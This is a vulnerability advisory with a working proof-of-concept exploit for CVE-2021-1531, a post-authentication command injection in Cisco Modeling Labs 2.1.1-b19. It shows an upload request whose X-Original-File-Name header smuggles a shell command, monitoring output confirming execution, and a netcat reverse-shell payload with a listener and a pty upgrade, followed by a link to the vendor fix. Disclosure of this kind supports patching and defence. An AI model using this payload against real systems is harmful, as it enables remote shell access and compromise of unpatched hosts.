Authored by Jeremy Brown

Cisco Modeling Labs version 2.1.1-b19 remote command execution exploit.

advisories | CVE-2021-1531

Cisco Modeling Labs 2.1.1-b19 Post-Auth RCE Vulnerability

CVE-2021-1531

=======
Details
=======

Authenticated command injection in the web portal via the X-Original-File-Name header.

Tested with portal 'admin' user who does not have a system login or SSH access, but likely works for any user who can upload files in the portal.

=====
Repro
=====

-------
Request
-------

POST /api/v0/images/upload HTTP/1.1
Host: 10.10.10.118
X-Original-File-Name: test.rpm';id>/tmp/123'
Authorization: Bearer [jwt token]
Content-Length: 0

--------
Response
--------

HTTP/1.1 200 OK
Server: nginx/1.14.1
...

"Success"

----------------
Local monitoring
----------------

pid=5547 executed [/bin/sh -c /usr/local/bin/imagetool -stderrthreshold=INFO -multipart move '/var/local/virl2/nginx-temp-folder/0063443599' '/var/local/virl2/dropfolder/test.rpm';id>/tmp/123''; exit 0 ]

.....

pid=5555 executed [id ]

$ cat /tmp/123
uid=982(virl2) gid=980(virl2) groups=980(virl2),982(wireshark),986(libvirt) context=system_u:system_r:unconfined_service_t:s0

============
Exploitation
============

The netcat binary with -e support is installed on the system, which makes gaining a remote shell as the virl2 user easy for demo.

-------
Payload
-------

X-Original-File-Name: test.rpm';nc 10.1.1.101 5000 -e /bin/bash'

--------
Listener
--------

$ nc -l -p 5000
.....
*connection received from cml2*

/usr/libexec/platform-python -c 'import pty; pty.spawn("/bin/bash")'

*** VIRL2 network simulator monitor ***

CLI> uname -a
Linux cml2-controller.cml.lab 4.18.0-80.11.2.el8_0.x86_64 #1 SMP Tue Sep 24 11:32:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

CLI> pwd
/var/local/virl2

===
Fix
===

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cml-cmd-inject-N4VYeQXB